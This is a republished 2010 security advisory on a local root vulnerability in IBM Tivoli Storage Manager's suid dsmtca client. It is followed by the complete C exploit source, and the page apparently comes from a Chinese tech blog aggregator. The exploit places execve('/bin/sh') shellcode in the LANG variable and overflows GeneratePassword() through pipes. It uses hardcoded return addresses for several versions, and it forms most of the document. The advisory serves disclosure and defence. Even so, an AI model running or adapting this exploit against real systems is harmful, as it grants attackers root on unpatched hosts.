IBM Tivoli Storage Manager (TSM) Local Root

简介: http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt ca.
http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt ca.txt http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt ca-exploit.c ==-===-=====-=======-===========-=============-================= IBM Tivoli Storage Manager (TSM) Local Root Kryptos Logic, December 2010 ==-===-=====-=======-===========-=============-================= =====[ Timeline Vendor Contacted...........: 2009-12-14 Fix from Vendor............: 2010-12-14 Advisory Published.........: 2010-12-15 =====[ Affected Versions Vulnerable: IBM TSM 6.1: 6.1.0.0 through 6.1.3.0 IBM TSM 5.5: 5.5.0.0 through 5.5.2.7 IBM TSM 5.4: 5.4.0.0 through 5.4.3.3 IBM TSM 5.3: 5.3.0.0 through 5.3.6.7 - Potentially older versions of IBM TSM dsmtca Not vulnerable: IBM TSM 6.1.4 IBM TSM 5.5.3 IBM TSM 5.4.3.4 IBM TSM 5.3.6.10 See IBM advisory IC65491 for details: http://www.ibm.com/support/docview.wss?uid=swg21454745 =====[ Vulnerability When IBM TSM communicates with the suid root backup client dsmtca, it is handled through pipes. The function GeneratePassword() does not perform boundary checking, which can lead to a classic stack based buffer overflow - making local code execution possible. =====[ Exploitation The LANG environment variable gets copied to a fixed location in memory. An attacker can achieve arbitrary code execution by placing his shellcode in the variable, and then overwrite the return address of GeneratePassword() with the known address that the value is copied to. =====[ Credits Discovered by Peter Wilhelmsen and Daniel Kalici, Kryptos Logic. Exploit developed by Peter Wilhelmsen and Morten Shearman Kirkegaard, Kryptos Logic. =====[ About Kryptos Logic Kryptos Logic is a group of talented computer security experts from around the globe that has coalesced into a highly effective team. We provide a wide range of security products ranging from binary analysis, instrusion management systems, anti-piracy, and digital rights management software. We also perform state-of-the-art research on emerging attack vectors and threats to current digital infrastructure. http://www.kryptoslogic.com/ /* * IBM Tivoli Storage Manager 6.1 - Local Root in DSMTCA GeneratePassword * Copyright (C) 2009-2010 Kryptos Logic * * Bug discovered by Peter Wilhelmsen and Daniel Kalici. * Exploit by Peter Wilhelmsen and Morten Shearman Kirkegaard. * * http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt ca.txt * http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmt ca-exploit.c */ #include #include #include #include #include #include #include char shellcode[] = "/x31/xc0/x31/xdb/x31/xc9/xb0/x46/xcd/x80/xeb/x1d" "/x5e/x88/x46/x07/x89/x46/x0c/x89/x76/x08/x89/xf3" "/x8d/x4e/x08/x8d/x56/x0c/xb0/x0b/xcd/x80/x31/xc0" "/x31/xdb/x40/xcd/x80/xe8/xde/xff/xff/xff/bin/sh"; enum arguments { tcaProgramPath, tcaDebugStop, tcaAlertString, tcaPipe0, tcaPipe1, tcaPipe2, tcaPipe3, tcaPswdFileName, tcaLang, tcaErrorLog, tcaDsDir, tcaRequest, tcaSessID, tcaServerName, tcaPasswordFile, tcaPasswordDir, tcaBuildData, tcaBuildTime, tcaCliType, tcaTraceTrusted, tcaClusterEnabl, tcaCryptoType, tcaTerminate, tcaArgCount }; /* Find the buflen (56 in this case) in GeneratePassword(). * * .text:0805B056 _Z16GeneratePasswordhiiP12pswdFileInfoPcS1_S1_S1_S1_ proc near * ... * .text:0805B155 lea eax, [ebp-56] * .text:0805B158 mov [esp+4], eax ; buf * .text:0805B15C mov [esp], edi ; fd * .text:0805B15F call _read * * * Set the retaddr (0x083C7100 in this case) to the Locale export. * * .data:083C7100 Locale db 55h dup(0) ; DATA XREF: .got:Locale_ptro */ struct { char *name; int buflen; uint32_t retaddr; } versions[] = { { "5.5.1.4-linux-i386", 40, 0x0826E7E0 }, { "5.5.2.0-linux-i386", 40, 0x08278180 }, { "6.1.0.0-linux-i386", 56, 0x08356520 }, { "6.1.3.0-linux-i386", 56, 0x083C7100 }, { NULL } }; void SpawnTask(char *argv[]) { pid_t pid; signal(SIGCHLD, SIG_IGN); pid = fork(); if (pid == -1) { perror("fork() failed"); exit(EXIT_FAILURE); } if (pid != 0) { return; } signal(SIGINT, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGQUIT, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGSEGV, SIG_IGN); signal(SIGXFSZ, SIG_IGN); signal(SIGTSTP, SIG_IGN); signal(SIGABRT, SIG_IGN); execv(argv[0], argv); perror("execv() failed"); exit(EXIT_FAILURE); } void exploit(int v) { int pfd[2]; int cfd[2]; char p0[16]; char p1[16]; char p2[16]; char p3[16]; char buffer[64]; uint8_t len; char *args[tcaArgCount]; len = versions[v].buflen + 8; if (len > sizeof(buffer)) { fprintf(stderr, "versions[%d].buflen > %d/n", v, (int)sizeof(buffer)); exit(EXIT_FAILURE); } setenv("LANG", shellcode, strlen(shellcode)); if((pipe(pfd) == -1) || (pipe(cfd) == -1)) { perror("pipe() failed"); exit(EXIT_FAILURE); } sprintf(p0, "%d", pfd[0]); sprintf(p1, "%d", pfd[1]); sprintf(p2, "%d", cfd[0]); sprintf(p3, "%d", cfd[1]); args[tcaProgramPath ] = "/opt/tivoli/tsm/client/ba/bin/dsmtca"; args[tcaDebugStop ] = "0"; args[tcaAlertString ] = "TCA Interr/bfacee/b ADSM Release 3"; args[tcaPipe0 ] = p0; args[tcaPipe1 ] = p1; args[tcaPipe2 ] = p2; args[tcaPipe3 ] = p3; args[tcaPswdFileName] = "/etc/adsm/TSM.PWD"; args[tcaLang ] = "/opt/tivoli/tsm/client/lang/en_US/dsmclientV3.cat"; args[tcaErrorLog ] = "/var/log/dsmerror.log"; args[tcaDsDir ] = "/opt/tivoli/tsm/client/ba/bin"; args[tcaRequest ] = "C"; args[tcaSessID ] = "NODE"; args[tcaServerName ] = "SERVER"; args[tcaPasswordFile] = "/etc/adsm/TSM.PWD"; args[tcaPasswordDir ] = ""; args[tcaBuildData ] = "AASATRG"; args[tcaBuildTime ] = "DMESEEG"; args[tcaCliType ] = ""; args[tcaTraceTrusted] = "0"; args[tcaClusterEnabl] = "0"; args[tcaCryptoType ] = "1"; args[tcaTerminate ] = (char *)NULL; SpawnTask(args); close(pfd[0]); close(cfd[1]); /* 0805A7BD call _read( fd, buf, 1 ) */ write(pfd[1], "/x41", 1); /* 0805A7DD call _read( fd, var_AAA, 1 ) */ write(pfd[1], "/x41", 1); /* 0805A7FD call _read( fd, var_5BB, 1 ) */ write(pfd[1], &len, 1); /* 0805A824 call _read( fd, var_28, var_5BB ) */ memset(buffer, 'A', sizeof(buffer)); *(uint32_t *)(buffer + len - 4) = versions[v].retaddr; write(pfd[1], buffer, len); /* read the response, needed to make GeneratePassword() return */ read(cfd[0], buffer, sizeof(buffer)); close(pfd[1]); close(cfd[0]); } void usage(char *path) { int i; fprintf(stderr, "Usage: %s version/n", path); fprintf(stderr, "/n"); fprintf(stderr, "Where /"version/" is one of:/n"); for (i=0; versions[i].name; i++) { fprintf(stderr, "%s/n", versions[i].name); } } int main(int argc, char *argv[]) { int i; if (argc != 2) { usage(argv[0]); return EXIT_FAILURE; } for (i=0; versions[i].name; i++) { if (strcmp(argv[1], versions[i].name) == 0) { exploit(i); return EXIT_SUCCESS; } } usage(argv[0]); return EXIT_FAILURE; }
目录
相关文章
|
Web App开发 应用服务中间件 数据库
【IBM Tivoli Identity Manager 学习文档】3 基本架构
作者:gnuhpc 出处:http://www.cnblogs.com/gnuhpc/ 1.数据库服务器 TIM将交易数据和历史数据放置在数据库服务器内,一个关系型数据库存放了当前和历史状态的相关数据。
1070 0
【IBM Tivoli Identity Manager 学习文档】5 管理员控制台
作者:gnuhpc 出处:http://www.cnblogs.com/gnuhpc/ 我们看看TIM管理员控制台的一些特性,并对某些特性进行详细介绍。 1.方便的导航条 2.支持多任务的Task Manager 3.搜索的时候支持Fliter进行条件遴选 4.方便的表单设计 5.使用Wizards可以使user完成一个操作序列。
1017 0
【IBM Tivoli Identity Manager 学习文档】7 TIM的Adapters简介
作者:gnuhpc 出处:http://www.cnblogs.com/gnuhpc/ Adapters的定义:  Adapters提供了一个被管理资源(在TIM中叫做Service)和TIM5.0服务器交互的接口,它是一个软件组件。
1003 0
|
测试技术 Windows
【IBM Tivoli Identity Manager 学习文档】6 Identity Feeds功能
作者:gnuhpc 出处:http://www.cnblogs.com/gnuhpc/ 今天学习了Identity Feeds功能。 1.引言 TIM5.0 从一个数据源导入多个User到系统的功能,这个批量导入的过程就叫Identity Feeds或者称为HR feed。
1158 0
|
Linux Windows
【IBM Tivoli Identity Manager 学习文档】8 Service和Service Type
作者:gnuhpc 出处:http://www.cnblogs.com/gnuhpc/ 1.定义 一个TIM的Service代表着一个被管理的资源,比如应用程序、数据库、系统等。TIM使用一个Service来向TIM Adapter这个管理一种被管理资源的组件发起provisioning请求。
886 0
|
Web App开发 Java
【IBM Tivoli Identity Manager 学习文档】9 怎样自定义ITIM的界面
作者:gnuhpc 出处:http://www.cnblogs.com/gnuhpc/ 1.Administrative Console Customizations Tips Customizations to the Administrative Console are performed by making changes to the ui.
844 0
|
前端开发 JavaScript
【IBM Tivoli Identity Manager 学习文档】10 TIM的Account默认值管理
作者:gnuhpc 出处:http://www.cnblogs.com/gnuhpc/ 1.引言 在TIM5.0之前,在某一个 Service上的一个帐户属性的默认值是在provisioning policy中设置的,只对在provisioning policy中设置的Service适用。
920 0
|
存储 安全 数据安全/隐私保护
【IBM Tivoli Identity Manager 学习文档】11 TIM设计思路介绍
作者:gnuhpc 出处:http://www.cnblogs.com/gnuhpc/ 1.基于角色的权限控制:role-based access control(RBAC) 2.两大组织构件:People 和 Resources 而后者包含Application 和 OS 3.
1152 0
|
JavaScript 前端开发
【IBM Tivoli Identity Manager 学习文档】12 Workflow的设计
作者:gnuhpc 出处:http://www.cnblogs.com/gnuhpc/ 1.Workflow分为以下两类: 第一类是指申请时要进行审批流程的Workflow: • Account request workflow • Access request workflow 这些Workflow是在分配策略中使用的。
960 0
【IBM Tivoli Identity Manager 学习文档】13 Service管理
作者:gnuhpc 出处:http://www.cnblogs.com/gnuhpc/ Service的概念在前边的文档中有所介绍的,现在只是提一些需要注意的问题: 1.每一中Service都需要一个Profile,这个Profile描述了使用何种Adapter与其通信,它支持什么属性,其service form的形式和account form的形式。
1237 0